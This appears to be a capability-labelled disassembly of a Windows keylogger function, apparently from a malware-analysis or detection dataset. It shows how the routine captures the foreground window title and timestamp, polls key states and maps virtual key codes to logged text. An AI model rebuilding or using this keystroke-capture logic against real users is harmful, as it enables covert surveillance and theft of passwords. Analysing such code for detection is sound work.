Function at 0x1400013e0
Capabilities:
Get graphical window text
Get keyboard layout
Log keystrokes via polling

Disassembly:
push rbx
sub rsp, 0x280
mov rax, qword [0x140007040]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov ebx, ecx
xor edx, edx
lea rcx, [rsp + 0x170]
mov r8d, 0x100
call sub.VCRUNTIME140.dll_memset
lea eax, [rbx - 1]
cmp eax, 1
jbe 0x140001729
mov qword [rsp + 0x2a0], rsi
mov qword [rsp + 0x2a8], rdi
call qword [sym.imp.USER32.dll_GetForegroundWindow]
xor esi, esi
mov rdi, rax
test rax, rax
je 0x140001514
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, eax
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
mov r8d, 0x100
lea rdx, [rsp + 0x70]
mov rcx, rdi
mov rsi, rax
call qword [sym.imp.USER32.dll_GetWindowTextA]
lea rcx, [rsp + 0x70]
lea r8, [rsp + 0x170]
sub r8, rcx
nop dword [rax]
movzx edx, byte [rcx]
movzx eax, byte [rcx + r8]
sub edx, eax
jne 0x140001493
inc rcx
test eax, eax
jne 0x140001480
test edx, edx
je 0x140001514
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x20], rax
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64]
lea r8, [0x1400045a8]
mov edx, 0x40
mov r9, rax
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
lea rdx, str._n_n_Window:
lea rcx, [0x1400070c0]
call fcn.1400028e0
mov rcx, rax
lea rdx, [rsp + 0x70]
call fcn.1400028e0
mov rcx, rax
lea rdx, str.___at
call fcn.1400028e0
mov rcx, rax
lea rdx, [rsp + 0x30]
call fcn.1400028e0
mov rcx, rax
lea rdx, [0x1400045ac]
call fcn.1400028e0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
mov dl, 0xa
call fcn.140002ab0
cmp ebx, 8
jne 0x14000153e
lea rdx, str._BACKSPACE_
jmp 0x140001700
cmp ebx, 0xd
jne 0x14000154f
lea rdx, [0x1400045d4]
jmp 0x140001700
cmp ebx, 0x20
jne 0x140001560
lea rdx, [0x1400045d8]
jmp 0x140001700
cmp ebx, 9
jne 0x140001571
lea rdx, str._TAB_
jmp 0x140001700
cmp ebx, 0x10
je 0x1400016f9
lea eax, [rbx - 0xa0]
cmp eax, 1
jbe 0x1400016f9
cmp ebx, 0x11
je 0x1400016f0
lea eax, [rbx - 0xa2]
cmp eax, 1
jbe 0x1400016f0
cmp ebx, 0x1b
jne 0x1400015b2
lea rdx, str._ESCAPE_
jmp 0x140001700
cmp ebx, 0x23
jne 0x1400015c3
lea rdx, str._END_
jmp 0x140001700
cmp ebx, 0x24
jne 0x1400015d4
lea rdx, str._HOME_
jmp 0x140001700
cmp ebx, 0x25
jne 0x1400015e5
lea rdx, str._LEFT_
jmp 0x140001700
cmp ebx, 0x26
jne 0x1400015f6
lea rdx, str._UP_
jmp 0x140001700
cmp ebx, 0x27
jne 0x140001607
lea rdx, str._RIGHT_
jmp 0x140001700
cmp ebx, 0x28
jne 0x140001618
lea rdx, str._DOWN_
jmp 0x140001700
cmp ebx, 0xbe
je 0x1400016e7
cmp ebx, 0x6e
je 0x1400016e7
cmp ebx, 0xbd
je 0x1400016de
cmp ebx, 0x6d
je 0x1400016de
cmp ebx, 0x14
jne 0x140001653
lea rdx, str._CAPSLOCK_
jmp 0x140001700
mov ecx, 0x14
mov qword [rsp + 0x298], rbp
call qword [sym.imp.USER32.dll_GetKeyState]
movzx edi, ax
mov ecx, 0x10
and dil, 1
call qword [sym.imp.USER32.dll_GetKeyState]
bt ax, 0xc
jb 0x1400016a3
mov ecx, 0xa0
call qword [sym.imp.USER32.dll_GetKeyState]
bt ax, 0xc
jb 0x1400016a3
mov ecx, 0xa1
call qword [sym.imp.USER32.dll_GetKeyState]
bt ax, 0xc
jae 0x1400016a7
xor dil, 1
mov r8, rsi
mov edx, 2
mov ecx, ebx
call qword [sym.imp.USER32.dll_MapVirtualKeyExA]
mov rbp, qword [rsp + 0x298]
test dil, dil
jne 0x1400016cd
movsx ecx, al
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
movzx edx, al
lea rcx, [0x1400070c0]
call fcn.140002ab0
jmp 0x14000170c
lea rdx, [0x14000464c]
jmp 0x140001700
lea rdx, [0x140004648]
jmp 0x140001700
lea rdx, str._CONTROL_
jmp 0x140001700
lea rdx, str._SHIFT_
lea rcx, [0x1400070c0]
call fcn.1400028e0
lea rcx, [0x1400070c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
mov rdi, qword [rsp + 0x2a8]
mov rsi, qword [rsp + 0x2a0]
xor eax, eax
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.140002f70
add rsp, 0x280
pop rbx
ret